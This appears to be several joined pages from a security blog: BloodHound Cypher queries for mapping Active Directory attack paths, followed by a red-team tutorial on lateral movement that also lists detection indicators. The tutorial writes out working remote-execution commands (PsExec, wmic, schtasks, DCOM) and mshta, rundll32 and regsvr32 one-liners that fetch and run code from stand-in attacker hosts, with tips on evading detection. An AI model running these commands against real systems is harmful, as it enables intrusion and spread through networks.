MATCH (c1:Computer) OPTIONAL MATCH (c1)-[:AdminTo]->(c2:Computer) OPTIONAL MATCH (c1)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c3:Computer) WITH COLLECT(c2) + COLLECT(c3) AS tempVar,c1 UNWIND tempVar AS computers RETURN c1.name AS COMPUTER,COLLECT(DISTINCT(computers.name)) AS ADMIN_TO_COMPUTERS ORDER BY c1.name

Get the names of the computers without admins, sorted by alphabetic order:   

MATCH (n)-[r:AdminTo]->(c:Computer) WITH COLLECT(c.name) as compsWithAdmins MATCH (c2:Computer) WHERE NOT c2.name in compsWithAdmins RETURN c2.name ORDER BY c2.name ASC

Show computers (excluding Domain Controllers) where Domain Admins are logged in: 

MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'}) WITH n as privusers

 Find the percentage of computers with path to Domain Admins:            

MATCH (totalComputers:Computer {domain:'DOMAIN.GR'}) MATCH p=shortestPath((ComputersWithPath:Computer {domain:'DOMAIN.GR'})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'})) WITH COUNT(DISTINCT(totalComputers)) as totalComputers, COUNT(DISTINCT(ComputersWithPath)) as ComputersWithPath RETURN 100.0 * ComputersWithPath / totalComputers AS percentComputersToDA

Find on each computer who can RDP (searching only enabled users):     

MATCH (c:Computer) OPTIONAL MATCH (u:User)-[:CanRDP]->(c) WHERE u.enabled=true OPTIONAL MATCH (u1:User)-[:MemberOf*1..]->(:Group)-[:CanRDP]->(c) where u1.enabled=true WITH COLLECT(u) + COLLECT(u1) as tempVar,c UNWIND tempVar as users RETURN c.name AS COMPUTER,COLLECT(DISTINCT(users.name)) as USERS ORDER BY USERS desc

Find on each computer the number of users with admin rights (local admins) and display the users with admin rights:      

MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC

Active Directory group with default privileged rights on domain users and groups, plus the ability to logon to Domain Controllers        

MATCH (u:User)-[r1:MemberOf*1..]->(g1:Group {name:'ACCOUNT OPERATORS@DOMAIN.GR'}) RETURN u.name

Find which domain Groups are Admins to what computers:       

MATCH (g:Group) OPTIONAL MATCH (g)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (g)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH g, COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS computers RETURN g.name AS GROUP, COLLECT(computers.name) AS AdminRights

Find which domain Groups (excluding the Domain Admins and Enterprise Admins) are Admins to what computers:      

MATCH (g:Group) WHERE NOT (g.name =~ '(?i)domain admins@.*' OR g.name =~ "(?i)enterprise admins@.*") OPTIONAL MATCH (g)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (g)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH g, COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS computers RETURN g.name AS GROUP, COLLECT(computers.name) AS AdminRights

Find which domain Groups (excluding the high privileged groups marked with AdminCount=true) are Admins to what computers:       

MATCH (g:Group) WHERE g.admincount=false OPTIONAL MATCH (g)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (g)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH g, COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS computers RETURN g.name AS GROUP, COLLECT(computers.name) AS AdminRights

Find the most privileged groups on the domain (groups that are Admins to Computers. Nested groups will be calculated):          

MATCH (g:Group) OPTIONAL MATCH (g)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (g)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH g, COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS computers RETURN g.name AS GroupName,COUNT(DISTINCT(computers)) AS AdminRightCount ORDER BY AdminRightCount DESC

Find the number of computers that do not have local Admins:  

MATCH (n)-[r:AdminTo]->(c:Computer) WITH COLLECT(c.name) as compsWithAdmins MATCH (c2:Computer) WHERE NOT c2.name in compsWithAdmins RETURN COUNT(c2)

Find groups with most local admins (either explicit admins or derivative/unrolled):        

MATCH (g:Group) WITH g OPTIONAL MATCH (g)-[r:AdminTo]->(c1:Computer) WITH g,COUNT(c1) as explicitAdmins OPTIONAL MATCH (g)-[r:MemberOf*1..]->(a:Group)-[r2:AdminTo]->(c2:Computer) WITH g,explicitAdmins,COUNT(DISTINCT(c2)) as unrolledAdmins RETURN g.name,explicitAdmins,unrolledAdmins, explicitAdmins + unrolledAdmins as totalAdmins ORDER BY totalAdmins DESC

Find percentage of non-privileged groups (based on admincount:false) to Domain Admins group:  

MATCH (totalGroups:Group {admincount:false}) MATCH p=shortestPath((GroupsWithPath:Group {admincount:false})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'})) WITH COUNT(DISTINCT(totalGroups)) as totalGroups, COUNT(DISTINCT(GroupsWithPath)) as GroupsWithPath RETURN 100.0 * GroupsWithPath / totalGroups AS percentGroupsToDA

Find every user object where the “userpassword” attribute is populated (wald0):           

MATCH (u:User) WHERE NOT u.userpassword IS null RETURN u.name,u.userpassword

Find every user that doesn’t require kerberos pre-authentication (wald0):          

MATCH (u:User {dontreqpreauth: true}) RETURN u.name

Find all users trusted to perform constrained delegation. The result is ordered by the amount of computers:  

MATCH (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name,COUNT(c) ORDER BY COUNT(c) DESC

Find the active sessions that a specific domain user has on all domain computers:          

MATCH p1=shortestPath(((u1:User {name:'USER@DOMAIN.GR'})-[r1:MemberOf*1..]->(g1:Group))) MATCH (c:Computer)-[r:HasSession*1..]->(u1) RETURN DISTINCT(u1.name) as users, c.name as computers ORDER BY computers

Count the number of the computers where each domain user has direct Admin privileges to:         

MATCH (u:User)-[:AdminTo]->(c:Computer) RETURN count(DISTINCT(c.name)) AS COMPUTER, u.name AS USER ORDER BY count(DISTINCT(c.name)) DESC

Count the number of the computers where each domain user has derivative Admin privileges to:     

MATCH (u:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c:Computer) RETURN count(DISTINCT(c.name)) AS COMPUTER, u.name AS USER ORDER BY u.name

Display the computer names where each domain user has derivative Admin privileges to:              

MATCH (u:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c:Computer) RETURN DISTINCT(c.name) AS COMPUTER, u.name AS USER ORDER BY u.name

Find Kerberoastable users who are members of high value groups:        

MATCH (u:User)-[r:MemberOf*1..]->(g:Group) WHERE g.highvalue=true AND u.hasspn=true RETURN u.name AS USER

Find Kerberoastable users and where they are AdminTo:            

OPTIONAL MATCH (u1:User) WHERE u1.hasspn=true OPTIONAL MATCH (u1)-[r:AdminTo]->(c:Computer) RETURN u1.name AS user_with_spn,c.name AS local_admin_to

Find the percentage of users with a path to Domain Admins:     

MATCH (totalUsers:User {domain:'DOMAIN.GR'}) MATCH p=shortestPath((UsersWithPath:User {domain:'DOMAIN.GR'})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'})) WITH COUNT(DISTINCT(totalUsers)) as totalUsers, COUNT(DISTINCT(UsersWithPath)) as UsersWithPath RETURN 100.0 * UsersWithPath / totalUsers AS percentUsersToDA

Find the percentage of enabled users that have a path to high value groups:     

MATCH (u:User {domain:'DOMAIN.GR',enabled:True}) MATCH (g:Group {domain:'DOMAIN.GR'}) WHERE g.highvalue = True WITH g, COUNT(u) as userCount MATCH p = shortestPath((u:User {domain:'DOMAIN.GR',enabled:True})-[*1..]->(g)) RETURN 100.0 * COUNT(distinct u) / userCount

List of unique users with a path to a Group tagged as “highvalue”:         

MATCH (u:User) MATCH (g:Group {highvalue:true}) MATCH p = shortestPath((u:User)-[r:AddMember|AdminTo|AllExtendedRights|AllowedToDelegate|CanRDP|Contains|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GpLink|HasSession|MemberOf|Owns|ReadLAPSPassword|TrustedBy|WriteDacl|WriteOwner|GetChanges|GetChangesAll*1..]->(g)) RETURN DISTINCT(u.name) AS USER, u.enabled as ENABLED,count(p) as PATHS order by u.name

Find users who are NOT marked as “Sensitive and Cannot Be Delegated” and have Administrative access to a computer, and where those users have sessions on servers with Unconstrained Delegation enabled (by NotMedic):        

MATCH (u:User {sensitive:false})-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c1:Computer) WITH u,c1 MATCH (c2:Computer {unconstraineddelegation:true})-[:HasSession]->(u) RETURN u.name AS user,COLLECT(DISTINCT(c1.name)) AS AdminTo,COLLECT(DISTINCT(c2.name)) AS TicketLocation ORDER BY user ASC

Find users with constrained delegation permissions and the corresponding targets where they allowed to delegate:           

MATCH (u:User) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name,u.allowedtodelegate

Alternatively, search for users with constrained delegation permissions,the corresponding targets where they are allowed to delegate, the privileged users that can be impersonated (based on sensitive:false and admincount:true) and find where these users (with constrained deleg privs) have active sessions (user hunting) as well as count the shortest paths to them: 

OPTIONAL MATCH (u:User {sensitive:false, admincount:true}) WITH u.name AS POSSIBLE_TARGETS OPTIONAL MATCH (n:User) WHERE n.allowedtodelegate IS NOT NULL WITH n AS USER_WITH_DELEG, n.allowedtodelegate as DELEGATE_TO, POSSIBLE_TARGETS OPTIONAL MATCH (c:Computer)-[:HasSession]->(USER_WITH_DELEG) WITH USER_WITH_DELEG,DELEGATE_TO,POSSIBLE_TARGETS,c.name AS USER_WITH_DELEG_HAS_SESSION_TO OPTIONAL MATCH p=shortestPath((o)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(USER_WITH_DELEG)) WHERE NOT o=USER_WITH_DELEG WITH USER_WITH_DELEG,DELEGATE_TO,POSSIBLE_TARGETS,USER_WITH_DELEG_HAS_SESSION_TO,p RETURN USER_WITH_DELEG.name AS USER_WITH_DELEG, DELEGATE_TO, COLLECT(DISTINCT(USER_WITH_DELEG_HAS_SESSION_TO)) AS USER_WITH_DELEG_HAS_SESSION_TO, COLLECT(DISTINCT(POSSIBLE_TARGETS)) AS PRIVILEGED_USERS_TO_IMPERSONATE, COUNT(DISTINCT(p)) AS PATHS_TO_USER_WITH_DELEG

Find computers with constrained delegation permissions and the corresponding targets where they allowed to delegate:             

MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name,c.allowedtodelegate

Alternatively, search for computers with constrained delegation permissions, the corresponding targets where they are allowed to delegate, the privileged users that can be impersonated (based on sensitive:false and admincount:true) and find who is LocalAdmin on these computers as well as count the shortest paths to them:            

OPTIONAL MATCH (u:User {sensitive:false, admincount:true}) WITH u.name AS POSSIBLE_TARGETS OPTIONAL MATCH (n:Computer) WHERE n.allowedtodelegate IS NOT NULL WITH n AS COMPUTERS_WITH_DELEG, n.allowedtodelegate as DELEGATE_TO, POSSIBLE_TARGETS OPTIONAL MATCH (u1:User)-[:AdminTo]->(COMPUTERS_WITH_DELEG) WITH u1 AS DIRECT_ADMINS,POSSIBLE_TARGETS,COMPUTERS_WITH_DELEG,DELEGATE_TO OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(COMPUTERS_WITH_DELEG) WITH COLLECT(DIRECT_ADMINS) + COLLECT(u2) AS TempVar,COMPUTERS_WITH_DELEG,DELEGATE_TO,POSSIBLE_TARGETS UNWIND TempVar AS LOCAL_ADMINS OPTIONAL MATCH p=shortestPath((o)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(COMPUTERS_WITH_DELEG)) WHERE NOT o=COMPUTERS_WITH_DELEG WITH COMPUTERS_WITH_DELEG,DELEGATE_TO,POSSIBLE_TARGETS,p,LOCAL_ADMINS RETURN COMPUTERS_WITH_DELEG.name AS COMPUTERS_WITH_DELG, LOCAL_ADMINS.name AS LOCAL_ADMINS_TO_COMPUTERS_WITH_DELG, DELEGATE_TO, COLLECT(DISTINCT(POSSIBLE_TARGETS)) AS PRIVILEGED_USERS_TO_IMPERSONATE, COUNT(DISTINCT(p)) AS PATHS_TO_USER_WITH_DELEG

Find if any domain user has interesting permissions against a GPO:        

MATCH p=(u:User)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|GpLink*1..]->(g:GPO) RETURN p LIMIT 25

Show me all the sessions from the users in the OU with the following GUID       

MATCH p=(o:OU {guid:'045939B4-3FA8-4735-YU15-7D61CFOU6500'})-[r:Contains*1..]->(u:User) MATCH (c:Computer)-[rel:HasSession]->(u) return u.name,c.name

Creating a property on the users that have an actual path to anything high_value(heavy query. takes hours on a large dataset)  

MATCH (u:User) MATCH (g:Group {highvalue: true}) MATCH p = shortestPath((u:User)-[r:AddMember|AdminTo|AllExtendedRights|AllowedToDelegate|CanRDP|Contains|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GetChangesAll|GpLink|HasSession|MemberOf|Owns|ReadLAPSPassword|SQLAdmin|TrustedBy|WriteDacl|WriteOwner|AddAllowedToAct|AllowedToAct*1..]->(g)) SET u.has_path_to_da =true

What “user with a path to any high_value group” has most sessions?    

MATCH (c:Computer)-[rel:HasSession]->(u:User {has_path_to_da: true}) WITH COLLECT(c) as tempVar,u UNWIND tempVar as sessions WITH u,COUNT(DISTINCT(sessions)) as sessionCount RETURN u.name,u.displayname,sessionCount ORDER BY sessionCount desc

Creating a property for Tier 1 Users with regex:

MATCH (u:User) WHERE u.name =~ 'internal_naming_convention[0-9]{2,5}@EXAMPLE.LOCAL' SET u.tier_1_user = true

Creating a property for Tier 1 Computers via group-membership:           

MATCH (c:Computer)-[r:MemberOf*1..]-(g:Group {name:'ALL_SERVERS@EXAMPLE.LOCAL'}) SET c.tier_1_computer = true

Creating a property for Tier 2 Users via group name and an exclusion:   

MATCH (u:User)-[r:MemberOf*1..]-(g:Group)WHERE g.name CONTAINS  'ALL EMPLOYEES' AND NOT u.name contains 'TEST' SET u.tier_2_user = true

Creating a property for Tier 2 Computers via nested groups name:         

MATCH (c:Computer)-[r:MemberOf*1..]-(g:Group) WHERE g.name STARTS WITH 'CLIENT_' SET c.tier_2_computer = true

List Tier2 access to Tier 1 Computers     

MATCH (u)-[rel:AddMember|AdminTo|AllowedToDelegate|CanRDP|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GetChangesAll|HasSession|Owns|ReadLAPSPassword|SQLAdmin|TrustedBy|WriteDACL|WriteOwner|AddAllowedToAct|AllowedToAct|MemberOf|AllExtendedRights]->(c:Computer) WHERE u.tier_2_user = true AND c.tier_1_computer = true RETURN u.name,TYPE(rel),c.name,labels(c)

List Tier 1 Sessions on Tier 2 Computers

MATCH (c:Computer)-[rel:HasSession]->(u:User) WHERE u.tier_1_user = true AND c.tier_2_computer = true RETURN u.name,u.displayname,TYPE(rel),c.name,labels(c),c.enabled

List all users with local admin and count how many instances    

OPTIONAL MATCH (c1)-[:AdminTo]->(c2:Computer) OPTIONAL MATCH (c1)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c3:Computer) WITH COLLECT(c2) + COLLECT(c3) AS tempVar,c1 UNWIND tempVar AS computers RETURN c1.name,COUNT(DISTINCT(computers)) ORDER BY COUNT(DISTINCT(computers)) DESC

Find all users a part of the VPN group   

Match (u:User)-[:MemberOf]->(g:Group) WHERE g.name CONTAINS "VPN" return u.name,g.name

Find users that have never logged on and account is still active 

MATCH (n:User) WHERE n.lastlogontimestamp=-1.0 AND n.enabled=TRUE RETURN n.name ORDER BY n.name

Adjust Query to Local Timezone (Change timezone parameter)

MATCH (u:User) WHERE NOT u.lastlogon IN [-1.0, 0.0] return u.name, datetime({epochSeconds:toInteger(u.lastlogon), timezone: '+10:00'}) as LastLogon

Thank you to the following contributors:

@sbooker_, @_wald0, @cptjesus, @ScoubiMtl, @sysop_host, @haus3c, @bravo2day, @rvrsh3ll, @Krelkci

Offensive Lateral Movement

Lateral movement is the process of moving from one compromised host to another. Penetration testers and red teamers alike commonly used to accomplish this by executing powershell.exe to run a base64 encoded command on the remote host, which would return a beacon. The problem with this is that offensive PowerShell is not a new concept anymore and even moderately mature shops will detect on it and shut it down quickly, or any half decent AV product will kill it before a malicious command is ran. The difficulty with lateral movement is doing it with good operational security (OpSec) which means generating the least amount of logs as possible, or generating logs that look normal, i.e. hiding in plain sight to avoid detection. The purpose is to not only show the techniques, but to show what is happening under the hood and any indicators associated with them. I’ll be referencing some Cobalt Strike syntax throughout this post, as it’s what we primarily use for C2, however Cobalt Strike’s built-in lateral movement techniques are quite noisy and not OpSec friendly. In addition, I understand not everyone has Cobalt Strike, so Meterpreter is also referenced in most examples, but the techniques are universal.

There’s several different lateral movement techniques out there and I’ll try to cover the big ones and how they work from a high level overview, but before doing covering the methods, let’s clarify a few terms.

  • Named Pipe: A way that processes communicate with each other via SMB (TCP 445). Operates on Layer 5 of the OSI model. Similar to how a port can listen for connections, a named pipe can also listen for requests.
  • Access Token: Per Microsoft’s documentation: An access token is an object that describes the security context of a process or thread. The information in a token includes the identity and privileges of the user account associated with the process or thread. When a user logs on, the system verifies the user’s password by comparing it with information stored in a security database. When a user’s credentials are authenticated, the system produces an access token. Every process executed on behalf of this user has a copy of this access token. 

In another way, it contains your identity and states what you can and can’t use on the system. Without diving too deep into Windows authentication, access tokens reference logon sessions which is what’s created when a user logs into Windows.

  • Network Logon (Type 3): Network logons occur when an account authenticates to a remote system/service. During network authentication, reusable credentials are not sent to the remote system. Consequently, when a user logs into a remote system via a network logon, the user’s credentials will not be present on the remote system to perform further authentication. This brings in the double-hop problem, meaning if we have a one-liner that connects to one target via Network logon, then also reaches out via SMB, no credentials are present to login over SMB, therefore login fails. Examples shown further below.

PsExec

PsExec comes from Microsoft’s Sysinternals suite and allows users to execute Powershell on remote hosts over port 445 (SMB) using named pipes. It first connects to the ADMIN$ share on the target, over SMB, uploads PSEXESVC.exe and uses Service Control Manager to start the .exe which creates a named pipe on the remote system, and finally uses that pipe for I/O.

An example of the syntax is the following:

psexec \\test.domain -u Domain\User -p Password ipconfig

Cobalt Strike (CS) goes about this slightly differently. It first creates a Powershell script that will base64 encode an embedded payload which runs from memory and is compressed into a one-liner, connects to the ADMIN$ or C$ share & runs the Powershell command, as shown below

The problem with this is that it creates a service and runs a base64 encoded command, which is not normal and will set off all sorts of alerts and generate logs. In addition, the commands sent are through named pipes, which has a default name in CS (but can be changed). Red Canary wrote a great article on detecting it.

Cobalt Strike has two PsExec built-ins, one called PsExec and the other called PsExec (psh). The difference between the two, and despite what CS documentation says, PsExec (psh) is calling Powershell.exe and your beacon will be running as a Powershell.exe process, where PsExec without the (psh) will be running as rundll32.exe.

psexec2

Viewing the process IDs via Cobalt Strike

By default, PsExec will spawn the rundll32.exe process to run from. It’s not dropping a DLL to disk or anything, so from a blue-team perspective, if rundll32.exe is running without arguments, it’s VERY suspicious.

SC

Service Controller is exactly what it sounds like — it controls services. This is particularly useful as an attacker because scheduling tasks is possible over SMB, so the syntax for starting a remote service is:

sc \\host.domain create ExampleService binpath= “c:\windows\system32\calc.exe”
sc \\host.domain start ExampleService

The only caveat to this is that the executable must be specifically a service binary. Service binaries are different in the sense that they must “check in” to the service control manager (SCM) and if it doesn’t, it will exit execution. So if a non-service binary is used for this, it will come back as an agent/beacon for a second, then die.

In CS, you can specifically craft service executables:

stagedbinary

Generating a service executable via Cobalt Strike

Here is the same attack but with Metasploit:

WMI

Windows Management Instrumentation (WMI) is built into Windows to allow remote access to Windows components, via the WMI service. Communicating by using Remote Procedure Calls (RPCs) over port 135 for remote access (and an ephemeral port later), it allows system admins to perform automated administrative tasks remotely, e.g. starting a service or executing a command remotely.  It can interacted with directly via wmic.exe. An example WMI query would look like this:

wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”

Cobalt Strike leverages WMI to execute a Powershell payload on the target, so PowerShell.exe is going to open when using the WMI built-in, which is an OpSec problem because of the base64 encoded payload that executes. 

wmi

WMIEnc.PNG

So we see that even through WMI, a named piped is created despite wmic.exe having the capability to run commands on the target via PowerShell, so why create a named pipe in the first place? The named pipe isn’t necessary for executing the payload, however the payload CS creates uses the named pipe for communication (over SMB).

This is just touching the surface of the capabilities of WMI. My co-worker @mattifestation gave an excellent talk during Blackhat 2015 on it’s capabilities, which can be read here.

WinRM

Windows Remote Management allows management of server hardware and it’s also Microsoft’s way of using WMI over HTTP(S). Unlike traditional web traffic, it doesn’t use 80/443, but instead uses 5985 (HTTP) and 5986 (HTTPS). WinRM comes installed with Windows by default, but does need some setup in order to be used. The exception to this being server OSs, as it’s on by default since 2012R2 and beyond. WinRM requires listeners (sound familiar?) on the client and even if the WinRM service is started, a listener has to be present in order for it to process requests. This can be done via the command in Powershell, or remotely done via WMI & Powershell:

Enable-PSRemoting -Force

From a non-CS perspective (replace calc.exe with your binary):

winrs -r:EXAMPLE.lab.local -u:DOMAIN\user -p:password calc.exe

Executing with CobaltStrike:

WinRM

The problem with this, of course, is that it has to be started with PowerShell. If you’re talking in remote terms, then it needs to be done via DCOM or WMI. While opening up PowerShell is not weird and starting a WinRM listener might fly under the radar, the noisy part comes when executing the payload, as there’s an indicator when running the built-in WinRM module from Cobalt Strike.

WinRMIndicator.PNG

With the indicator being:

"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

SchTasks

SchTasks is short for Scheduled Tasks and operates over port 135 initially and then continues communication over an ephemeral port, using the DCE/RPC for communication. Similar to creating a cron-job in Linux, you can schedule a task to occur and execute whatever you want.

From just PS:

schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00 /S host.domain /RU System

schtasks /run /tn ExampleTask /S host.domain

schtasks /F /delete /tn ExampleTask /S host.domain

In CobaltStrike:

shell schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00  /S host.domain /RU System

shell schtasks /run /tn ExampleTask /S host.domain

Then delete the job (opsec!)

shell schtasks /F /delete /tn ExampleTask /S host.domain

MSBuild

While not a lateral movement technique, it was discovered in 2016 by Casey Smith that MSBuild.exe can be used in conjunction with some of the above methods in order to avoid dropping encoded Powershell commands or spawning cmd.exe. MSBuild.exe is a Microsoft signed executable that comes installed with the .NET framework package. MSBuild is used to compile/build C# applications via an XML file which provides the schema. From an attacker perspective, this is used to compiled C# code to generate malicious binaries or payloads, or even run a payload straight from an XML file. MSBuild also can compile over SMB, as shown in the syntax below

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml

XML Template: https://gist.githubusercontent.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17/raw/df62c7256701d486fcd1e063487f24b599658a7b/shellcode.xml

What doesn’t work:

wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\LAB2012DC01.LAB.local\C$\Windows\Temp\build.xml"

Trying to use wmic to call msbuild.exe to build an XML over SMB will fail because of the double-hop problem. The double-hop problem occurs when a network-logon (type 3) occurs, which means credentials are never actually sent to the remote host. Since the credentials aren’t sent to the remote host, the remote host has no way of authenticating back to the payload hosting server. In Cobalt Strike, this is often experienced while using wmic and the workaround is to make a token for that user, so the credentials are then able to be passed on from that host. However, without CS, there’s a few options to get around this:

  1. Locally host the XML file (drop to disk)
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp\
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Windows\Temp\build.xml"
  1. Host the XML via WebDAV (Shown further below)
  2. Use PsExec
psexec \\host.domain -u Domain\Tester -p Passw0rd c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\host.domain\C$\Windows\Temp\build.xml"

In Cobalt Strike, there’s an Aggressor Script extension that uses MSBuild to execute Powershell commands without spawning Powershell by being an unmanaged process (binary compiled straight to machine code). This uploads via WMI/wmic.exe.

https://github.com/Mr-Un1k0d3r/PowerLessShell

The key indicator with MSBuild is that it’s executing over SMB and MSBuild is making an outbound connection.

MSBuildIOC.PNG

MSBuild.exe calling the ‘QueryNetworkOpenInformationFile’ operation, which is an IOC.

DCOM

Component Object Model (COM) is a protocol used by processes with different applications and languages so they communicate with one another. COM objects cannot be used over a network, which introduced the Distributed COM (DCOM) protocol. My brilliant co-worker Matt Nelson discovered a lateral movement technique via DCOM, via the ExecuteShellCommand Method in the Microsoft Management Console (MMC) 2.0 scripting object model which is used for System Management Server administrative functions.

It can be called via the following

[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")

DCOM uses network-logon (type 3), so the double-hop problem is also encountered here. PsExec eliminates the double-hop problem because credentials are passed with the command and generates an interactive logon session (Type 2), however, the problem is that the ExecuteShellCommand method only allows four arguments, so if anything less than or more than four is passed in, it errors out. Also, spaces have to be their own arguments (e.g. “cmd.exe”,$null,”/c” is three arguments), which eliminates the possibility of using PsExec with DCOM to execute MSBuild. From here, there’s a few options.

  1. Use WebDAV
  2. Host the XML file on an SMB share that doesn’t require authentication (e.g. using Impacket’s SMBServer.py, but most likely requires the attacker to have their attacking machine on the network)
  3. Try other similar ‘ExecuteShellCommand’ methods

With WebDAV, it still utilizes a UNC path, but Windows will eventually fall back to port 80 if it cannot reach the path over 445 and 139. With WebDAV, SSL is also an option. The only caveat to this is the WebDAV does not work on servers, as the service does not exist on server OSs by default.

[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe",$null,"\\192.168.10.131\webdav\build.xml","7")

This gets around the double-hop problem by not requiring any authentication to access the WebDAV server (which in this case, is also the C2 server).

As shown in the video, the problem with this method is that it spawns two processes: mmc.exe because of the DCOM method call from MMC2.0 and MSBuild.exe.

In addition, this does write to disk temporarily. Webdav writes to

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

and does not clean up any files after execution. MSBuild temporarily writes to

C:\Users\[USER]\AppData\Local\Temp\[RANDOM]\

and does clean up after itself. The neat thing with this trick is that since MSBuild used Webdav, MSbuild cleans up the files Webdav created.

Other execution DCOM methods and defensive suggestions are in this article.

Remote File Upload

Not necessarily a lateral movement technique, it’s worth noting that you can instead spawn your own binary instead of using Cobalt Strikes built-ins, which (could be) more stealthy. This works by having upload privileges over SMB (i.e. Administrative rights) to the C$ share on the target, which you can then upload a stageless binary to and execute it via wmic or DCOM, as shown below.

Notice the beacon doesn’t “check in”. It needs to be done manually via the command

link target.domain

Without CS:

copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\Temp\Malice.exe”

Other Code Execution Options

There’s a few more code execution options that are possible, that require local execution instead of remote, so like MSBuild, these have to be paired with a lateral movement technique.

Mshta

Mshta.exe is a default installed executable on Windows that allows the execution of .hta files. .hta files are Microsoft HTML Application files and allow execution of Visual Basic scripts within the HTML application. The good thing about Mshta is that allows execution via URL and since it’s a trusted Microsoft executable, should bypass default app-whitelisting.

mshta.exe https://malicious.domain/runme.hta

Rundll32

This one is relatively well known. Rundll32.exe is again, a trusted Windows binary and is meant to execute DLL files. The DLL can be specified via UNC WebDAV path or even via JavaScript

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

Since it’s running DLLs, you can pair it with a few other ones for different techniques:

  • URL.dll: Can run .url (shortcut) files; Also can run .hta files
    • rundll32.exe url.dll,OpenURL "C:\Windows\Temp\test.hta"
  • ieframe.dll: Can run .url files
    • Example .url file:
[InternetShortcut]
URL=file:///c:\windows\system32\cmd.exe
  • shdocvw.dll: Can run .url files as well

Regsvr32

Register Server is used to register and unregister DLLs for the registry. Regsrv32.exe is a signed Microsoft binary and can accept URLs as an argument. Specifically, it will run a .sct file which is an XML document that allows registration of COM objects.

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Read Casey Smith’s writeup for more in-depth explanation.

Conclusion

Once again, this list is not comprehensive, as there’s more techniques out there. This was simply me documenting a few things I didn’t know and figuring out how things work under the hood. When learning Cobalt Strike I learned that the built-ins are not OpSec friendly which could lead to the operator getting caught, so I figured I’d try to at least document some high level IOCs. I encourage everyone to view the MITRE ATT&CK Knowledge Base to read up more on lateral movement and potential IOCs. Feel free to reach out to me on Twitter with questions, @haus3c

CypherDog Cheatsheet

Bloodhound is a phenominal tool that should be in every pentester’s toolkit, as it literally graphs an attack plan, but that also means that it’s just as useful to the blue team. When I do pentests or risk assessments and show the client Bloodhound, they’re both

  1. Amazed
  2. Confused on how to use it

